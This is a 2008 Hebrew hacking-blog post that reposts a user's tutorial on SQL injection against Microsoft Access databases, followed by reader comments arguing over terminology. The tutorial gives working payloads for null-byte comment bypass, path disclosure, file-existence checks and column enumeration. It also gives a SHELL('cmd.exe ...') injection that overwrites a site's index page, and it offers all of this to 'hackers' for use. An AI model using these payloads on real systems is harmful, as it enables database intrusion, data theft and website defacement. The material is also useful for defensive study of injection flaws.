| RSS: קטעים | תגובות | | | הרשמה לקבלת עדכונים בדואר אלקטרוני | | | אודות | | | כותבים בבלוג | | | יצירת קשר | |
כניסה לפורומים: http://forums.hacking.org.il
ACCESS INJECTION
נכתב ע"י גיא מזרחי בתאריך 26 במאי 2008 | נושאים כללי |
TheLeader כתב מדריך מעניין על ההבדלים בין INJECTION מול DB כמו SQL לבין ACCESS.
מכיוון שזה בהחלט נושא שנתקלים בו הרבה - החלטתי לייצר מזה פוסט.
כל הכבוד ל-TheLeader על ההשקעה
לא פעם בעת נסיונות הזרקה, אתם בוודאי נתקלים בהערות שגיאה מהסוג הזה:
ציטוט:
Microsoft JET Database Engine error '80040e10′
שימו לב אל השורה העליונה; זה אומר שהמסד מבוסס ACCESS.
מסדי אקסס שונים מעט ממסדי MYSQL רגילים, בעיקר בסיינטקס. במדריך זה אשתדל לסקור את ההבדלים העיקריים על מנת להקל מעט על ציבור ההאקרים ![]()
הערות - במסדי ACCESS לא ניתן להשתמש במקף כפול (–), סלאש כוכבית (/*) או סולמית (#) על מנת לבטא הערה. במקום זאת, יש להשתמש בNULL BYTE (שמבוטא %00) ע"מ לסגור את המחרוזת ולגרום למסד להתעלם מהשאר. כך לדוגמא במקום להכניס:
' or 1=1–
נכניס:
' or 1=1%00
UNION - הפקודה UNION מוגבלת לשימוש רק כאשר שולפים נתונים מטבלה תקינה בשדה הFROM.
LIMIT - הפקודה LIMIT לא נתמכת, אבל ניתן להשתמש בTOP X (כשבמקום X מופיע המספר הרצוי) כדי להגביל את מספר הטורים.
CONCAT - לא נתמכת. ניתן להשתמש בפלוס (+) או סימן-חיבור-שאין-לי-מושג-איך-קוראים-לו (&), אך צריך לקודד אותם לפני כן. לדוגמא: 'ab' %2b 'cd'.
מציאת הנתיב המלא - משפט SELECT ממסד מזוייף (נקודה) טבלה מזוייפת יציג שגיאה שתסגיר את הנתיב המלא.
UNION SELECT 1 FROM ThisIsAFakeName.FakeTable%00
ציטוט:
Could not find file 'c:\windows\system32\inetsrv\ThisIsAFakeName.mdb'.
בדיקה אם קובץ קיים - UNION SELECT name FROM msysobjects IN '\boot.ini'%00
גילוי טורים - מכיוון שהפקודה HAVING לא מחזירה שמות טורים, אנחנו מוגבלים לעשות רק GROUP BY. אך למרבה המזל, הטור ID קיים כמעט תמיד, וכך ניתן לגלות את כל הטורים:
GROUP BY Id%00
ציטוט:
You tried to execute a query that does not include the specified expression 'title' as part of an aggregate function.
GROUP BY Id,title%00
וכו'..
CURDIR() - הפונקציה curdir מחזירה את הנתיב שאתה נמצא בו כרגע.
הרצת פקודות - ניתן להריץ פקודות SHELL* כך:
AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')%00
כפי ששמתם לב, האופרטור AND משמש גם לחיבור פקודות ולא רק לתנאי. ניתן כך לשלב גם משפטי SELECT:
AND (SELECT TOP 1 'abc' FROM users)%00
* אין לי מושג אם זה יעבוד על לינוקס, אבל אני לא בטוח שיש בכלל מסדי אקסס בלינוקס.. ![]()
SLEEP - הפונקציות SLEEP וBENCHMARK לא נתמכות, אבל ניתן להאט את השאילתא וליצור מבחן זמן על ידי שאילתות מורכבות. מכיוון שזהו נושא מסובך בפני עצמו, אפנה אתכם למאמר שמסביר את הטכניקה:
http://www.microsoft.com/technet/community/columns/secmvp/sv0907.mspx
טבלאות - לרוב לא יהיה אליהן גישה, אבל בכל אופן הנה הן:
MSysAccessXML
MSysACEs
MSysObjects
מקווה שנהניתם (והחכמתם), TheLeader
Popularity: 55% [?]

28 במאי 2008 בשעה 15:48
בקשר למשפט הראשון שלך:TheLeader כתב מדריך מעניין על ההבדלים בין INJECTION מול DB כמו SQL לבין ACCESS.
SQL זה לא מסד…
ובכל סוג מסד יש שיטה אחרת לINJECTION
זה כמו שהקומפיילר של C אממ איך קוראים לו… אהה כן חח DEV
לעומת GCC
שתיהם קומפיילרים
אבל יש דברים שאתה יכול לקמפל בGCC שבDEV לא!
28 במאי 2008 בשעה 20:34
DeCryPteR - וואי שתהיה בריא… אתה יודע מה…עזוב אין לי סיבה אחת טובה להתאמץ ולהגיב לשטויות שאתה מוציא פה ובפורומים.
אכן מאמר מעולה של THELEADER, עשה עבודה מעולה יישר כוח
ויפה מאוד מצדך גיא שעשית לזה פוסט אורח…
28 במאי 2008 בשעה 21:03
מה שטויות בזה?
תסביר לי
גם אני עדיין לומד…
אני אמרתי מה שחשבתי
אם יש למשהו לתקן אותי אני אשמח
אם אין אז כנראה שזה נכון
29 במאי 2008 בשעה 12:12
"שתיהם"?!
29 במאי 2008 בשעה 13:02
לתו & קוראים Ampersand
אקסס לא רץ על לינוקס, אלא דרך שכבת אמולציה שאז בפועל אין זה משנה כי יש סביבת וינדוס שההתקפה מכוונת אליה.
DeCryPteR צודק, חלקית. SQL זאת שפה. Access זה מנוע. ישנם מנועים אחרים כדוגמאת Mysql, MS SQL ואורקל. מבחינת Injection syntax: ברוב המנועים שכתובים על פי סטדנרט אותה syntax *צריך* להיות ולידי.
ואגב, זה נכון שקוד שנכתב ל MS Studio יתכן ולא יתקמפל על ידי gcc. מצד שני, יתכן גם ההפך ;).
Happy Hacking
HQ.
3 ביוני 2008 בשעה 18:01
כתוספת למאמר המצוין של TheLeader - להלן cheat sheet של sql injection עבור access אשר מכיל הרחבות נוספות:
http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-EN.html
5 ביוני 2008 בשעה 19:22
הבטחתי ולכן אקיים…
7 ביוני 2008 בשעה 5:59
היי - זו מדינה ללא דגל!
14 ביוני 2008 בשעה 21:31
אולי כדאי להציע לצוות UNDERWAR את התוספת הזו למאמר שלהם על SQLINJ מכוון שהוא מכיל ולו מעט מידע על ההבדלים בין מסדי הנתונים השונים
11 ביולי 2008 בשעה 10:51
ראיתי לנכון לציין שגם ACCESS משתמש בשפת SQL, רק מבנה המסד והשפה שונה קצת מ-MYSQL ו-MSSQL.